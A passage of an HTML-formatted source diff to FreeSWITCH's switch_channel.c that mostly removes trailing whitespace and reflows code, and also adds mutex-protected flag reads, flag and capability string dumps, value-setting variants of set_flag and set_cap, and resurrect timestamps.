+                r = switch_core_session_strdup(channel-&gt;session, val);
</ins><span class="cx"> 
</span><span class="cx">         return r;
</span><span class="cx"> }
</span><span class="lines">@@ -681,7 +687,7 @@
</span><span class="cx">         } else {
</span><span class="cx">                 v = SWITCH_BLANK_STRING;
</span><span class="cx">         }
</span><del>-        
</del><ins>+
</ins><span class="cx">         if (!strcasecmp(name, &quot;dialplan&quot;)) {
</span><span class="cx">                 channel-&gt;caller_profile-&gt;dialplan = v;
</span><span class="cx">         } else if (!strcasecmp(name, &quot;username&quot;)) {
</span><span class="lines">@@ -728,11 +734,11 @@
</span><span class="cx">         return status;
</span><span class="cx"> }
</span><span class="cx"> 
</span><del>-SWITCH_DECLARE(switch_status_t) switch_channel_set_variable_var_check(switch_channel_t *channel, 
</del><ins>+SWITCH_DECLARE(switch_status_t) switch_channel_set_variable_var_check(switch_channel_t *channel,
</ins><span class="cx">                                                                                                                                           const char *varname, const char *value, switch_bool_t var_check)
</span><span class="cx"> {
</span><span class="cx">         switch_status_t status = SWITCH_STATUS_FALSE;
</span><del>-        
</del><ins>+
</ins><span class="cx">         switch_assert(channel != NULL);
</span><span class="cx"> 
</span><span class="cx">         switch_mutex_lock(channel-&gt;profile_mutex);
</span><span class="lines">@@ -740,7 +746,7 @@
</span><span class="cx">                 switch_event_del_header(channel-&gt;variables, varname);
</span><span class="cx">                 if (!zstr(value)) {
</span><span class="cx">                         int ok = 1;
</span><del>-                        
</del><ins>+
</ins><span class="cx">                         if (var_check) {
</span><span class="cx">                                 ok = !switch_string_var_check_const(value);
</span><span class="cx">                         }
</span><span class="lines">@@ -785,7 +791,7 @@
</span><span class="cx">                 free(data);
</span><span class="cx">         }
</span><span class="cx">         switch_mutex_unlock(channel-&gt;profile_mutex);
</span><del>-        
</del><ins>+
</ins><span class="cx">         return status;
</span><span class="cx"> }
</span><span class="cx"> 
</span><span class="lines">@@ -804,12 +810,12 @@
</span><span class="cx">         va_start(ap, fmt);
</span><span class="cx">         ret = switch_vasprintf(&amp;varname, fmt, ap);
</span><span class="cx">         va_end(ap);
</span><del>-        
</del><ins>+
</ins><span class="cx">         if (ret == -1) {
</span><span class="cx">                 switch_mutex_unlock(channel-&gt;profile_mutex);
</span><span class="cx">                 return SWITCH_STATUS_MEMERR;
</span><span class="cx">         }
</span><del>-        
</del><ins>+
</ins><span class="cx">         status = switch_channel_set_variable(channel, varname, val);
</span><span class="cx"> 
</span><span class="cx">         free(varname);
</span><span class="lines">@@ -820,7 +826,7 @@
</span><span class="cx"> }
</span><span class="cx"> 
</span><span class="cx"> 
</span><del>-SWITCH_DECLARE(switch_status_t) switch_channel_set_variable_partner_var_check(switch_channel_t *channel, 
</del><ins>+SWITCH_DECLARE(switch_status_t) switch_channel_set_variable_partner_var_check(switch_channel_t *channel,
</ins><span class="cx">                                                                                                                                                           const char *varname, const char *value, switch_bool_t var_check)
</span><span class="cx"> {
</span><span class="cx">         const char *uuid;
</span><span class="lines">@@ -843,8 +849,15 @@
</span><span class="cx"> 
</span><span class="cx"> SWITCH_DECLARE(uint32_t) switch_channel_test_flag(switch_channel_t *channel, switch_channel_flag_t flag)
</span><span class="cx"> {
</span><ins>+        uint32_t r = 0;
+
</ins><span class="cx">         switch_assert(channel != NULL);
</span><del>-        return channel-&gt;flags[flag];
</del><ins>+
+        switch_mutex_lock(channel-&gt;flag_mutex);
+        r = channel-&gt;flags[flag];
+        switch_mutex_unlock(channel-&gt;flag_mutex);
+
+        return r;
</ins><span class="cx"> }
</span><span class="cx"> 
</span><span class="cx"> SWITCH_DECLARE(switch_bool_t) switch_channel_set_flag_partner(switch_channel_t *channel, switch_channel_flag_t flag)
</span><span class="lines">@@ -869,7 +882,7 @@
</span><span class="cx"> {
</span><span class="cx">         const char *uuid;
</span><span class="cx">         int r = 0;
</span><del>-        
</del><ins>+
</ins><span class="cx">         switch_assert(channel != NULL);
</span><span class="cx"> 
</span><span class="cx">         if ((uuid = switch_channel_get_variable(channel, SWITCH_SIGNAL_BOND_VARIABLE))) {
</span><span class="lines">@@ -910,7 +923,8 @@
</span><span class="cx">                 state = switch_channel_get_running_state(other_channel);
</span><span class="cx">                 mystate = switch_channel_get_running_state(channel);
</span><span class="cx"> 
</span><del>-                if (mystate == want_state || state &gt;= CS_HANGUP || mystate &gt;= CS_HANGUP) {
</del><ins>+                if ((channel-&gt;state == channel-&gt;running_state &amp;&amp; channel-&gt;running_state == want_state) ||
+                        other_channel-&gt;state &gt;= CS_HANGUP || channel-&gt;state &gt;= CS_HANGUP) {
</ins><span class="cx">                         break;
</span><span class="cx">                 }
</span><span class="cx">                 switch_cond_next();
</span><span class="lines">@@ -936,13 +950,11 @@
</span><span class="cx">         }
</span><span class="cx"> }
</span><span class="cx"> 
</span><del>-SWITCH_DECLARE(switch_status_t) switch_channel_wait_for_flag(switch_channel_t *channel, 
-                                                                                                                         switch_channel_flag_t want_flag, 
-                                                                                                                         switch_bool_t pres, 
-                                                                                                                         uint32_t to,
-                                                                                                                         switch_channel_t *super_channel)
</del><ins>+SWITCH_DECLARE(switch_status_t) switch_channel_wait_for_flag(switch_channel_t *channel,
+                                                                                                                         switch_channel_flag_t want_flag,
+                                                                                                                         switch_bool_t pres, uint32_t to, switch_channel_t *super_channel)
</ins><span class="cx"> {
</span><del>-        
</del><ins>+
</ins><span class="cx">         if (to) {
</span><span class="cx">                 to++;
</span><span class="cx">         }
</span><span class="lines">@@ -977,13 +989,13 @@
</span><span class="cx"> }
</span><span class="cx"> 
</span><span class="cx"> 
</span><del>-SWITCH_DECLARE(void) switch_channel_set_cap(switch_channel_t *channel, switch_channel_cap_t cap)
</del><ins>+SWITCH_DECLARE(void) switch_channel_set_cap_value(switch_channel_t *channel, switch_channel_cap_t cap, uint32_t value)
</ins><span class="cx"> {
</span><span class="cx">         switch_assert(channel);
</span><span class="cx">         switch_assert(channel-&gt;flag_mutex);
</span><span class="cx"> 
</span><span class="cx">         switch_mutex_lock(channel-&gt;flag_mutex);
</span><del>-        channel-&gt;caps[cap] = 1;
</del><ins>+        channel-&gt;caps[cap] = value;
</ins><span class="cx">         switch_mutex_unlock(channel-&gt;flag_mutex);
</span><span class="cx"> }
</span><span class="cx"> 
</span><span class="lines">@@ -1003,14 +1015,65 @@
</span><span class="cx">         return channel-&gt;caps[cap] ? 1 : 0;
</span><span class="cx"> }
</span><span class="cx"> 
</span><del>-SWITCH_DECLARE(void) switch_channel_set_flag(switch_channel_t *channel, switch_channel_flag_t flag)
</del><ins>+SWITCH_DECLARE(char *) switch_channel_get_flag_string(switch_channel_t *channel)
</ins><span class="cx"> {
</span><ins>+        switch_stream_handle_t stream = { 0 };
+        char *r;
+        int i = 0;
+
+        SWITCH_STANDARD_STREAM(stream);
+
+        switch_mutex_lock(channel-&gt;flag_mutex);
+        for (i = 0; i &lt; CF_FLAG_MAX; i++) {
+                if (channel-&gt;flags[i]) {
+                        stream.write_function(&amp;stream, &quot;%d=%d;&quot;, i, channel-&gt;flags[i]);
+                }
+        }
+        switch_mutex_unlock(channel-&gt;flag_mutex);
+
+        r = (char *) stream.data;
+
+        if (end_of(r) == ';') {
+                end_of(r) = '\0';
+        }
+
+        return r;
+
+}
+
+SWITCH_DECLARE(char *) switch_channel_get_cap_string(switch_channel_t *channel)
+{
+        switch_stream_handle_t stream = { 0 };
+        char *r;
+        int i = 0;
+
+        SWITCH_STANDARD_STREAM(stream);
+
+        switch_mutex_lock(channel-&gt;flag_mutex);
+        for (i = 0; i &lt; CC_FLAG_MAX; i++) {
+                if (channel-&gt;caps[i]) {
+                        stream.write_function(&amp;stream, &quot;%d=%d;&quot;, i, channel-&gt;caps[i]);
+                }
+        }
+        switch_mutex_unlock(channel-&gt;flag_mutex);
+
+        r = (char *) stream.data;
+
+        if (end_of(r) == ';') {
+                end_of(r) = '\0';
+        }
+
+        return r;
+
+}
+
+SWITCH_DECLARE(void) switch_channel_set_flag_value(switch_channel_t *channel, switch_channel_flag_t flag, uint32_t value)
+{
</ins><span class="cx">         switch_assert(channel);
</span><span class="cx">         switch_assert(channel-&gt;flag_mutex);
</span><span class="cx"> 
</span><span class="cx">         switch_mutex_lock(channel-&gt;flag_mutex);
</span><del>-        
-        channel-&gt;flags[flag] = 1;
</del><ins>+        channel-&gt;flags[flag] = value;
</ins><span class="cx">         switch_mutex_unlock(channel-&gt;flag_mutex);
</span><span class="cx"> 
</span><span class="cx">         if (flag == CF_OUTBOUND) {
</span><span class="lines">@@ -1099,7 +1162,7 @@
</span><span class="cx">         switch_mutex_lock(channel-&gt;flag_mutex);
</span><span class="cx">         channel-&gt;flags[flag] = 0;
</span><span class="cx">         switch_mutex_unlock(channel-&gt;flag_mutex);
</span><del>-        
</del><ins>+
</ins><span class="cx">         if (flag == CF_OUTBOUND) {
</span><span class="cx">                 switch_channel_set_variable(channel, &quot;is_outbound&quot;, NULL);
</span><span class="cx">         }
</span><span class="lines">@@ -1116,6 +1179,7 @@
</span><span class="cx">                 channel-&gt;flags[flag]--;
</span><span class="cx">         }
</span><span class="cx">         switch_mutex_unlock(channel-&gt;flag_mutex);
</span><ins>+
</ins><span class="cx">         if (flag == CF_OUTBOUND) {
</span><span class="cx">                 switch_channel_set_variable(channel, &quot;is_outbound&quot;, NULL);
</span><span class="cx">         }
</span><span class="lines">@@ -1141,20 +1205,24 @@
</span><span class="cx">         return state;
</span><span class="cx"> }
</span><span class="cx"> 
</span><del>-SWITCH_DECLARE(int) switch_channel_test_ready(switch_channel_t *channel, switch_bool_t media)
</del><ins>+SWITCH_DECLARE(int) switch_channel_test_ready(switch_channel_t *channel, switch_bool_t check_ready, switch_bool_t check_media)
</ins><span class="cx"> {
</span><span class="cx">         int ret = 0;
</span><span class="cx"> 
</span><span class="cx">         switch_assert(channel != NULL);
</span><span class="cx"> 
</span><del>-        if (media) {
-                ret = ((switch_channel_test_flag(channel, CF_ANSWERED) || 
-                                switch_channel_test_flag(channel, CF_EARLY_MEDIA)) &amp;&amp; !switch_channel_test_flag(channel, CF_PROXY_MODE) &amp;&amp; 
</del><ins>+        if (check_media) {
+                ret = ((switch_channel_test_flag(channel, CF_ANSWERED) ||
+                                switch_channel_test_flag(channel, CF_EARLY_MEDIA)) &amp;&amp; !switch_channel_test_flag(channel, CF_PROXY_MODE) &amp;&amp;
</ins><span class="cx">                            switch_core_session_get_read_codec(channel-&gt;session) &amp;&amp; switch_core_session_get_write_codec(channel-&gt;session));
</span><span class="cx"> 
</span><del>-                if (!ret) return ret;
</del><ins>+                if (!ret)
+                        return ret;
</ins><span class="cx">         }
</span><del>-        
</del><ins>+
+        if (!check_ready)
+                return ret;
+
</ins><span class="cx">         ret = 0;
</span><span class="cx"> 
</span><span class="cx">         if (!channel-&gt;hangup_cause &amp;&amp; channel-&gt;state &gt; CS_ROUTING &amp;&amp; channel-&gt;state &lt; CS_HANGUP &amp;&amp; channel-&gt;state != CS_RESET &amp;&amp;
</span><span class="lines">@@ -1205,11 +1273,12 @@
</span><span class="cx"> {
</span><span class="cx">         int x;
</span><span class="cx">         switch_mutex_lock(channel-&gt;state_mutex);
</span><del>-        switch_log_printf(SWITCH_CHANNEL_ID_LOG, file, func, line, switch_channel_get_uuid(channel), SWITCH_LOG_DEBUG, &quot;(%s) Running State Change %s\n&quot;, channel-&gt;name, state_names[state]);
</del><ins>+        switch_log_printf(SWITCH_CHANNEL_ID_LOG, file, func, line, switch_channel_get_uuid(channel), SWITCH_LOG_DEBUG, &quot;(%s) Running State Change %s\n&quot;,
+                                          channel-&gt;name, state_names[state]);
</ins><span class="cx">         channel-&gt;running_state = state;
</span><span class="cx"> 
</span><span class="cx">         if (channel-&gt;state_flags[0]) {
</span><del>-                for(x = 1; x &lt; CF_FLAG_MAX ; x++ ) {
</del><ins>+                for (x = 1; x &lt; CF_FLAG_MAX; x++) {
</ins><span class="cx">                         if (channel-&gt;state_flags[x]) {
</span><span class="cx">                                 channel-&gt;flags[x] = 1;
</span><span class="cx">                                 channel-&gt;state_flags[x] = 0;
</span><span class="lines">@@ -1479,10 +1548,10 @@
</span><span class="cx"> SWITCH_DECLARE(void) switch_channel_event_set_basic_data(switch_channel_t *channel, switch_event_t *event)
</span><span class="cx"> {
</span><span class="cx">         switch_caller_profile_t *caller_profile, *originator_caller_profile = NULL, *originatee_caller_profile = NULL;
</span><del>-        switch_codec_implementation_t impl = {0};
</del><ins>+        switch_codec_implementation_t impl = { 0 };
</ins><span class="cx">         char state_num[25];
</span><span class="cx">         const char *v;
</span><del>-        
</del><ins>+
</ins><span class="cx">         switch_mutex_lock(channel-&gt;profile_mutex);
</span><span class="cx"> 
</span><span class="cx">         if ((caller_profile = channel-&gt;caller_profile)) {
</span><span class="lines">@@ -1495,7 +1564,7 @@
</span><span class="cx">         switch_event_add_header_string(event, SWITCH_STACK_BOTTOM, &quot;Channel-State-Number&quot;, state_num);
</span><span class="cx">         switch_event_add_header_string(event, SWITCH_STACK_BOTTOM, &quot;Channel-Name&quot;, switch_channel_get_name(channel));
</span><span class="cx">         switch_event_add_header_string(event, SWITCH_STACK_BOTTOM, &quot;Unique-ID&quot;, switch_core_session_get_uuid(channel-&gt;session));
</span><del>-        
</del><ins>+
</ins><span class="cx">         switch_event_add_header_string(event, SWITCH_STACK_BOTTOM, &quot;Call-Direction&quot;,
</span><span class="cx">                                                                    channel-&gt;direction == SWITCH_CALL_DIRECTION_OUTBOUND ? &quot;outbound&quot; : &quot;inbound&quot;);
</span><span class="cx">         switch_event_add_header_string(event, SWITCH_STACK_BOTTOM, &quot;Presence-Call-Direction&quot;,
</span><span class="lines">@@ -1536,11 +1605,11 @@
</span><span class="cx">         if (caller_profile) {
</span><span class="cx">                 switch_caller_profile_event_set_data(caller_profile, &quot;Caller&quot;, event);
</span><span class="cx">         }
</span><del>-        
</del><ins>+
</ins><span class="cx">         if (originator_caller_profile &amp;&amp; originatee_caller_profile) {
</span><span class="cx">                 /* Index Originator's Profile */
</span><span class="cx">                 switch_caller_profile_event_set_data(originator_caller_profile, &quot;Originator&quot;, event);
</span><del>-                
</del><ins>+
</ins><span class="cx">                 /* Index Originatee's Profile */
</span><span class="cx">                 switch_caller_profile_event_set_data(originatee_caller_profile, &quot;Originatee&quot;, event);
</span><span class="cx">         } else {
</span><span class="lines">@@ -1561,8 +1630,8 @@
</span><span class="cx">         int x;
</span><span class="cx"> 
</span><span class="cx">         switch_mutex_lock(channel-&gt;profile_mutex);
</span><del>-        
-        if (switch_channel_test_flag(channel, CF_VERBOSE_EVENTS) || 
</del><ins>+
+        if (switch_channel_test_flag(channel, CF_VERBOSE_EVENTS) ||
</ins><span class="cx">                 event-&gt;event_id == SWITCH_EVENT_CHANNEL_ORIGINATE ||
</span><span class="cx">                 event-&gt;event_id == SWITCH_EVENT_CHANNEL_UUID ||
</span><span class="cx">                 event-&gt;event_id == SWITCH_EVENT_CHANNEL_ANSWER ||
</span><span class="lines">@@ -1580,10 +1649,7 @@
</span><span class="cx">                 event-&gt;event_id == SWITCH_EVENT_SESSION_HEARTBEAT ||
</span><span class="cx">                 event-&gt;event_id == SWITCH_EVENT_API ||
</span><span class="cx">                 event-&gt;event_id == SWITCH_EVENT_RECORD_START ||
</span><del>-                event-&gt;event_id == SWITCH_EVENT_RECORD_STOP ||
-                event-&gt;event_id == SWITCH_EVENT_CALL_UPDATE ||
-                event-&gt;event_id == SWITCH_EVENT_CUSTOM
-                ) {
</del><ins>+                event-&gt;event_id == SWITCH_EVENT_RECORD_STOP || event-&gt;event_id == SWITCH_EVENT_CALL_UPDATE || event-&gt;event_id == SWITCH_EVENT_CUSTOM) {
</ins><span class="cx"> 
</span><span class="cx">                 x = 0;
</span><span class="cx">                 /* Index Variables */
</span><span class="lines">@@ -1591,7 +1657,7 @@
</span><span class="cx">                         for (hi = channel-&gt;variables-&gt;headers; hi; hi = hi-&gt;next) {
</span><span class="cx">                                 char buf[1024];
</span><span class="cx">                                 char *vvar = NULL, *vval = NULL;
</span><del>-                                
</del><ins>+
</ins><span class="cx">                                 vvar = (char *) hi-&gt;name;
</span><span class="cx">                                 vval = (char *) hi-&gt;value;
</span><span class="cx">                                 x++;
</span><span class="lines">@@ -1648,8 +1714,10 @@
</span><span class="cx">                 }
</span><span class="cx">         }
</span><span class="cx"> 
</span><del>-        caller_profile-&gt;times = (switch_channel_timetable_t *) switch_core_session_alloc(channel-&gt;session, sizeof(*caller_profile-&gt;times));
-        caller_profile-&gt;times-&gt;profile_created = switch_micro_time_now();
</del><ins>+        if (!caller_profile-&gt;times) {
+                caller_profile-&gt;times = (switch_channel_timetable_t *) switch_core_session_alloc(channel-&gt;session, sizeof(*caller_profile-&gt;times));
+                caller_profile-&gt;times-&gt;profile_created = switch_micro_time_now();
+        }
</ins><span class="cx"> 
</span><span class="cx">         if (channel-&gt;caller_profile &amp;&amp; channel-&gt;caller_profile-&gt;times) {
</span><span class="cx">                 channel-&gt;caller_profile-&gt;times-&gt;transferred = caller_profile-&gt;times-&gt;profile_created;
</span><span class="lines">@@ -1880,23 +1948,23 @@
</span><span class="cx"> 
</span><span class="cx">         switch_mutex_lock(orig_channel-&gt;profile_mutex);
</span><span class="cx">         switch_mutex_lock(new_channel-&gt;profile_mutex);
</span><del>-        
-        
</del><ins>+
+
</ins><span class="cx">         caller_profile = switch_caller_profile_clone(new_channel-&gt;session, new_channel-&gt;caller_profile);
</span><span class="cx">         switch_assert(caller_profile);
</span><span class="cx">         extension = switch_caller_extension_new(new_channel-&gt;session, caller_profile-&gt;destination_number, caller_profile-&gt;destination_number);
</span><span class="cx">         orig_extension = switch_channel_get_caller_extension(orig_channel);
</span><del>-        
-        
</del><ins>+
+
</ins><span class="cx">         if (extension &amp;&amp; orig_extension) {
</span><del>-                for(ap = orig_extension-&gt;current_application; ap &amp;&amp; offset &gt; 0; offset--) {
</del><ins>+                for (ap = orig_extension-&gt;current_application; ap &amp;&amp; offset &gt; 0; offset--) {
</ins><span class="cx">                         ap = ap-&gt;next;
</span><span class="cx">                 }
</span><del>-                
</del><ins>+
</ins><span class="cx">                 for (; ap; ap = ap-&gt;next) {
</span><span class="cx">                         switch_caller_extension_add_application(new_channel-&gt;session, extension, ap-&gt;application_name, ap-&gt;application_data);
</span><span class="cx">                 }
</span><del>-                
</del><ins>+
</ins><span class="cx">                 caller_profile-&gt;destination_number = switch_core_strdup(caller_profile-&gt;pool, orig_channel-&gt;caller_profile-&gt;destination_number);
</span><span class="cx">                 switch_channel_set_caller_profile(new_channel, caller_profile);
</span><span class="cx">                 switch_channel_set_caller_extension(new_channel, extension);
</span><span class="lines">@@ -1909,9 +1977,10 @@
</span><span class="cx">                                         break;
</span><span class="cx">                                 }
</span><span class="cx">                         }
</span><del>-                        
-                        if (!ok) continue;
</del><span class="cx"> 
</span><ins>+                        if (!ok)
+                                continue;
+
</ins><span class="cx">                         switch_channel_set_variable(new_channel, hi-&gt;name, hi-&gt;value);
</span><span class="cx">                 }
</span><span class="cx"> 
</span><span class="lines">@@ -1967,7 +2036,7 @@
</span><span class="cx">         switch_assert(channel != NULL);
</span><span class="cx"> 
</span><span class="cx">         switch_channel_clear_flag(channel, CF_BLOCK_STATE);
</span><del>-        
</del><ins>+
</ins><span class="cx">         if (channel-&gt;state &lt; CS_HANGUP) {
</span><span class="cx">                 switch_channel_state_t last_state;
</span><span class="cx">                 switch_event_t *event;
</span><span class="lines">@@ -2005,7 +2074,7 @@
</span><span class="cx">         char *app;
</span><span class="cx">         switch_event_t *event;
</span><span class="cx"> 
</span><del>-        if (!switch_channel_test_flag(channel, CF_RING_READY) &amp;&amp; !switch_channel_test_flag(channel, CF_EARLY_MEDIA &amp;&amp; 
</del><ins>+        if (!switch_channel_test_flag(channel, CF_RING_READY) &amp;&amp; !switch_channel_test_flag(channel, CF_EARLY_MEDIA &amp;&amp;
</ins><span class="cx">                                                                                                                                                                            !switch_channel_test_flag(channel, CF_ANSWERED))) {
</span><span class="cx">                 switch_log_printf(SWITCH_CHANNEL_ID_LOG, file, func, line, switch_channel_get_uuid(channel), SWITCH_LOG_NOTICE, &quot;Ring-Ready %s!\n&quot;, channel-&gt;name);
</span><span class="cx">                 switch_channel_set_flag(channel, CF_RING_READY);
</span><span class="lines">@@ -2066,7 +2135,7 @@
</span><span class="cx">                         switch_channel_event_set_data(channel, event);
</span><span class="cx">                         switch_event_fire(&amp;event);
</span><span class="cx">                 }
</span><del>-                
</del><ins>+
</ins><span class="cx">                 if (channel-&gt;caller_profile &amp;&amp; channel-&gt;caller_profile-&gt;times) {
</span><span class="cx">                         switch_mutex_lock(channel-&gt;profile_mutex);
</span><span class="cx">                         channel-&gt;caller_profile-&gt;times-&gt;progress_media = switch_micro_time_now();
</span><span class="lines">@@ -2085,7 +2154,7 @@
</span><span class="cx">                         switch_mutex_unlock(channel-&gt;profile_mutex);
</span><span class="cx">                 }
</span><span class="cx"> 
</span><del>-                if (((var = switch_channel_get_variable(channel, SWITCH_CHANNEL_EXECUTE_ON_PRE_ANSWER_VARIABLE)) || 
</del><ins>+                if (((var = switch_channel_get_variable(channel, SWITCH_CHANNEL_EXECUTE_ON_PRE_ANSWER_VARIABLE)) ||
</ins><span class="cx">                          (var = switch_channel_get_variable(channel, SWITCH_CHANNEL_EXECUTE_ON_MEDIA_VARIABLE))) &amp;&amp; !zstr(var)) {
</span><span class="cx">                         char *arg = NULL;
</span><span class="cx">                         app = switch_core_session_strdup(channel-&gt;session, var);
</span><span class="lines">@@ -2167,7 +2236,7 @@
</span><span class="cx">                 msg.from = channel-&gt;name;
</span><span class="cx">                 status = switch_core_session_perform_receive_message(channel-&gt;session, &amp;msg, file, func, line);
</span><span class="cx">         }
</span><del>-        
</del><ins>+
</ins><span class="cx">         if (status == SWITCH_STATUS_SUCCESS) {
</span><span class="cx">                 switch_log_printf(SWITCH_CHANNEL_ID_LOG, file, func, line, switch_channel_get_uuid(channel), SWITCH_LOG_NOTICE, &quot;Ring Ready %s!\n&quot;, channel-&gt;name);
</span><span class="cx">         } else {
</span><span class="lines">@@ -2236,23 +2305,25 @@
</span><span class="cx">         }
</span><span class="cx"> 
</span><span class="cx">         switch_channel_set_variable(channel, SWITCH_ENDPOINT_DISPOSITION_VARIABLE, &quot;ANSWER&quot;);
</span><del>-        switch_log_printf(SWITCH_CHANNEL_ID_LOG, file, func, line, switch_channel_get_uuid(channel), SWITCH_LOG_NOTICE, &quot;Channel [%s] has been answered\n&quot;, channel-&gt;name);
</del><ins>+        switch_log_printf(SWITCH_CHANNEL_ID_LOG, file, func, line, switch_channel_get_uuid(channel), SWITCH_LOG_NOTICE, &quot;Channel [%s] has been answered\n&quot;,
+                                          channel-&gt;name);
</ins><span class="cx"> 
</span><del>-        if (((var = switch_channel_get_variable(channel, SWITCH_CHANNEL_EXECUTE_ON_ANSWER_VARIABLE)) || 
-                 (!switch_channel_test_flag(channel, CF_EARLY_MEDIA) &amp;&amp; (var = switch_channel_get_variable(channel, SWITCH_CHANNEL_EXECUTE_ON_MEDIA_VARIABLE)))) 
</del><ins>+        if (((var = switch_channel_get_variable(channel, SWITCH_CHANNEL_EXECUTE_ON_ANSWER_VARIABLE)) ||
+                 (!switch_channel_test_flag(channel, CF_EARLY_MEDIA) &amp;&amp; (var = switch_channel_get_variable(channel, SWITCH_CHANNEL_EXECUTE_ON_MEDIA_VARIABLE))))
</ins><span class="cx">                 &amp;&amp; !zstr(var)) {
</span><span class="cx">                 char *arg = NULL;
</span><span class="cx"> 
</span><span class="cx">                 app = switch_core_session_strdup(channel-&gt;session, var);
</span><del>-                
-                if ((arg = strchr(app, ':')) &amp;&amp; *(arg+1) == ':') {
</del><ins>+
+                if ((arg = strchr(app, ':')) &amp;&amp; *(arg + 1) == ':') {
</ins><span class="cx">                         switch_log_printf(SWITCH_CHANNEL_CHANNEL_LOG(channel), SWITCH_LOG_DEBUG, &quot;%s execute on answer: %s (BROADCAST)\n&quot;, channel-&gt;name, app);
</span><span class="cx">                         switch_ivr_broadcast(switch_core_session_get_uuid(channel-&gt;session), app, SMF_NONE);
</span><span class="cx">                 } else {
</span><span class="cx">                         if ((arg = strchr(app, ' '))) {
</span><span class="cx">                                 *arg++ = '\0';
</span><span class="cx">                         }
</span><del>-                        switch_log_printf(SWITCH_CHANNEL_CHANNEL_LOG(channel), SWITCH_LOG_DEBUG, &quot;%s execute on answer: %s(%s)\n&quot;, channel-&gt;name, app, switch_str_nil(arg));
</del><ins>+                        switch_log_printf(SWITCH_CHANNEL_CHANNEL_LOG(channel), SWITCH_LOG_DEBUG, &quot;%s execute on answer: %s(%s)\n&quot;, channel-&gt;name, app,
+                                                          switch_str_nil(arg));
</ins><span class="cx">                         switch_core_session_execute_application(channel-&gt;session, app, arg);
</span><span class="cx">                 }
</span><span class="cx">         }
</span><span class="lines">@@ -2269,8 +2340,8 @@
</span><span class="cx">                 SWITCH_STANDARD_STREAM(stream);
</span><span class="cx">                 switch_api_execute(app, arg, NULL, &amp;stream);
</span><span class="cx"> 
</span><del>-                switch_log_printf(SWITCH_CHANNEL_CHANNEL_LOG(channel), SWITCH_LOG_DEBUG, &quot;%s api on answer: %s(%s)\n%s\n&quot;, 
-                                                  channel-&gt;name, app, switch_str_nil(arg), (char *)stream.data);
</del><ins>+                switch_log_printf(SWITCH_CHANNEL_CHANNEL_LOG(channel), SWITCH_LOG_DEBUG, &quot;%s api on answer: %s(%s)\n%s\n&quot;,
+                                                  channel-&gt;name, app, switch_str_nil(arg), (char *) stream.data);
</ins><span class="cx">                 free(stream.data);
</span><span class="cx">         }
</span><span class="cx"> 
</span><span class="lines">@@ -2295,7 +2366,7 @@
</span><span class="cx">         if (switch_channel_test_flag(channel, CF_ANSWERED)) {
</span><span class="cx">                 return SWITCH_STATUS_SUCCESS;
</span><span class="cx">         }
</span><del>-        
</del><ins>+
</ins><span class="cx">         if (!switch_channel_test_flag(channel, CF_OUTBOUND)) {
</span><span class="cx">                 msg.message_id = SWITCH_MESSAGE_INDICATE_ANSWER;
</span><span class="cx">                 msg.from = channel-&gt;name;
</span><span class="lines">@@ -2465,7 +2536,7 @@
</span><span class="cx">                                                 }
</span><span class="cx"> 
</span><span class="cx">                                                 if (offset &gt;= 0) {
</span><del>-                                                        if ((size_t)offset &gt; strlen(sub_val)) {
</del><ins>+                                                        if ((size_t) offset &gt; strlen(sub_val)) {
</ins><span class="cx">                                                                 *sub_val = '\0';
</span><span class="cx">                                                         } else {
</span><span class="cx">                                                                 sub_val += offset;
</span><span class="lines">@@ -2699,7 +2770,7 @@
</span><span class="cx">         return status;
</span><span class="cx"> }
</span><span class="cx"> 
</span><del>-SWITCH_DECLARE(switch_core_session_t*) switch_channel_get_session(switch_channel_t *channel)
</del><ins>+SWITCH_DECLARE(switch_core_session_t *) switch_channel_get_session(switch_channel_t *channel)
</ins><span class="cx"> {
</span><span class="cx">         switch_assert(channel);
</span><span class="cx">         return channel-&gt;session;
</span><span class="lines">@@ -2712,15 +2783,17 @@
</span><span class="cx">         switch_caller_profile_t *caller_profile, *ocp;
</span><span class="cx">         switch_app_log_t *app_log, *ap;
</span><span class="cx">         char *last_app = NULL, *last_arg = NULL;
</span><del>-        char start[80] = &quot;&quot;, answer[80] = &quot;&quot;, progress[80] = &quot;&quot;, progress_media[80] = &quot;&quot;, end[80] = &quot;&quot;, tmp[80] = &quot;&quot;, profile_start[80] = &quot;&quot;;
</del><ins>+        char start[80] = &quot;&quot;, resurrect[80] = &quot;&quot;, answer[80] = &quot;&quot;, progress[80] = &quot;&quot;, progress_media[80] = &quot;&quot;, end[80] = &quot;&quot;, tmp[80] = &quot;&quot;, profile_start[80] =
+                &quot;&quot;;
</ins><span class="cx">         int32_t duration = 0, legbillsec = 0, billsec = 0, mduration = 0, billmsec = 0, legbillmsec = 0, progressmsec = 0, progress_mediamsec = 0;
</span><span class="cx">         int32_t answersec = 0, answermsec = 0;
</span><span class="cx">         switch_time_t answerusec = 0;
</span><span class="cx">         switch_time_t uduration = 0, legbillusec = 0, billusec = 0, progresssec = 0, progressusec = 0, progress_mediasec = 0, progress_mediausec = 0;
</span><del>-        time_t tt_created = 0, tt_answered = 0, tt_progress = 0, tt_progress_media = 0, tt_hungup = 0, mtt_created = 0, mtt_answered = 0, mtt_hungup =
-                0, tt_prof_created, mtt_prof_created, mtt_progress = 0, mtt_progress_media = 0;
</del><ins>+        time_t tt_created = 0, tt_answered = 0, tt_resurrected = 0,
+                tt_progress = 0, tt_progress_media = 0, tt_hungup = 0, mtt_created = 0, mtt_answered = 0, mtt_resurrected = 0,
+                mtt_hungup = 0, tt_prof_created, mtt_prof_created, mtt_progress = 0, mtt_progress_media = 0;
</ins><span class="cx">         void *pop;
</span><del>-        char dtstr[SWITCH_DTMF_LOG_LEN+1] = &quot;&quot;;
</del><ins>+        char dtstr[SWITCH_DTMF_LOG_LEN + 1] = &quot;&quot;;
</ins><span class="cx">         int x = 0;
</span><span class="cx"> 
</span><span class="cx">         switch_mutex_lock(channel-&gt;profile_mutex);
</span><span class="lines">@@ -2728,7 +2801,7 @@
</span><span class="cx">         if (switch_channel_test_flag(channel, CF_TIMESTAMP_SET)) {
</span><span class="cx">                 return SWITCH_STATUS_FALSE;
</span><span class="cx">         }
</span><del>-        
</del><ins>+
</ins><span class="cx">         switch_channel_set_flag(channel, CF_TIMESTAMP_SET);
</span><span class="cx"> 
</span><span class="cx">         if (!(caller_profile = channel-&gt;caller_profile) || !channel-&gt;variables) {
</span><span class="lines">@@ -2761,7 +2834,7 @@
</span><span class="cx">                         dt = NULL;
</span><span class="cx">                 }
</span><span class="cx">         }
</span><del>-        
</del><ins>+
</ins><span class="cx">         if (x) {
</span><span class="cx">                 switch_channel_set_variable(channel, &quot;digits_dialed&quot;, dtstr);
